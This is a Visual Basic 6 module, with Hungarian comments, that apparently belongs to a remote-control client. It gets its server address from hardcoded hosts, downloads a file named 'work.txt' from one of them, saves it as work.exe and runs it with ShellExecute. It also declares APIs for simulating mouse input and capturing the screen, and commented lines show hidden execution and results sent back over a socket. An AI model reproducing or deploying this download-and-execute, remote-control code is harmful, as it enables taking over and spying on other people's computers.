Attribute VB_Name = "Module1"

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1

Type POINTAPI
    x As Long
    Y As Long
End Type
Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal Y As Long) As Long
Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long


'Private
Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
Public Const MOUSEEVENTF_LEFTDOWN = &H2
Public Const MOUSEEVENTF_LEFTUP = &H4
Public Const MOUSEEVENTF_MIDDLEDOWN = &H20
Public Const MOUSEEVENTF_MIDDLEUP = &H40
Public Const MOUSEEVENTF_MOVE = &H1
Public Const MOUSEEVENTF_ABSOLUTE = &H8000
Public Const MOUSEEVENTF_RIGHTDOWN = &H8
Public Const MOUSEEVENTF_RIGHTUP = &H10

 
Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Declare Function GetDesktopWindow Lib "user32" () As Long
Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long
Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long
Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long
Declare Function SetStretchBltMode Lib "gdi32" (ByVal hdc As Long, ByVal nStretchMode As Long) As Long
Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long

Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
'get ip adress ******************

Private Declare Function GetIpAddrTable_API Lib "iphlpapi" Alias "GetIpAddrTable" (pIPAddrTable As Any, pdwSize As Long, ByVal bOrder As Long) As Long

Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long
   
Private Const ERROR_SUCCESS As Long = 0
Private Const BINDF_GETNEWESTVERSION As Long = &H10
Private Const INTERNET_FLAG_RELOAD As Long = &H80000000

'geturldownloadfile ******************************************
Public Function URLGetFile(url, path)

URLGetFile = URLDownloadToFile(0&, url, path, _
    BINDF_GETNEWESTVERSION, _
    0&) = ERROR_SUCCESS
                                    
End Function


Function GetServerIP()
'szerver ip lekérdezés 2 oldalról is lehet
eleje:

Sleep 1000
url = "http://vakandak.uw.hu/dip/info.txt"
path = App.path & "\info.txt"
GetServerIP = URLGetFile(url, path)
If GetServerIP Then Exit Function

Sleep 1000
url = "http://atkalabor.atw.hu/dip/info.txt"
path = App.path & "\info.txt"
GetServerIP = URLGetFile(url, path)
If GetServerIP Then Exit Function


'GoTo eleje

End Function

Function DownloadFile()

url = "http://vakandak.uw.hu/dip/work.txt"
path = App.path & "\work.exe"
DownloadFile = URLGetFile(url, path)
End Function

Function UpdateClient()
'url = "http://vakandak.uw.hu/dip/update.txt"
'path = App.path & "\client2.exe"
'UpdateClient = URLGetFile(url, path)
End Function


' Returns an array with the local IP addresses (as strings).
' Author: Christian d'Heureuse, www.source-code.biz
Public Function GetIpAddrTable()
   Dim buf(0 To 511) As Byte
   Dim BufSize As Long: BufSize = UBound(buf) + 1
   Dim rc As Long
   rc = GetIpAddrTable_API(buf(0), BufSize, 1)
   If rc <> 0 Then Err.Raise vbObjectError, , "GetIpAddrTable failed with return value " & rc
   Dim NrOfEntries As Integer: NrOfEntries = buf(1) * 256 + buf(0)
   If NrOfEntries = 0 Then GetIpAddrTable = Array(): Exit Function
   ReDim IpAddrs(0 To NrOfEntries - 1) As String
   Dim i As Integer
   For i = 0 To NrOfEntries - 1
      Dim j As Integer, s As String: s = ""
      For j = 0 To 3: s = s & IIf(j > 0, ".", "") & buf(4 + i * 24 + j): Next
      IpAddrs(i) = s
      Next
   GetIpAddrTable = IpAddrs

   End Function

Function Execute()
'************************
On Error Resume Next
Ret = ShellExecute(Form1.hwnd, vbNullString, "work.exe", vbNullString, vbNullString, vbNormalFocus)
'ret = Shell("work.exe", vbNormalFocus)      'SW_HIDE
'If ret Then Text4 = "Succes" Else Text4 = "Not Succes"
'wsock.SendData Text4
Execute = Ret
End Function

Function ExecuteHidden()
'************************
On Error Resume Next
'ret = Shell("work.exe", vbMinimize)         'SW_HIDE
'If ret Then Text4 = "Succes" Else Text4 = "Not Succes"
'wsock.SendData Text4
ExecuteHidden = Ret
End Function

Function ScreenGetResolution() As String

Dim iWidth As Integer, iHeight As Integer

iWidth = Screen.Width \ Screen.TwipsPerPixelX
iHeight = Screen.Height \ Screen.TwipsPerPixelY
ScreenGetResolution = iWidth & "X" & iHeight

End Function


Function SetUserNAme(name As String) As Integer
On Error GoTo hiba
Open App.path & "\ini.txt" For Input As #1
 Line Input #1, a
 Line Input #1, b
Close #1

Open App.path & "\ini.txt" For Output As #1
 Print #1, name
 Print #1, b
Close #1
SetUserNAme = 1 'ok
hiba:
End Function
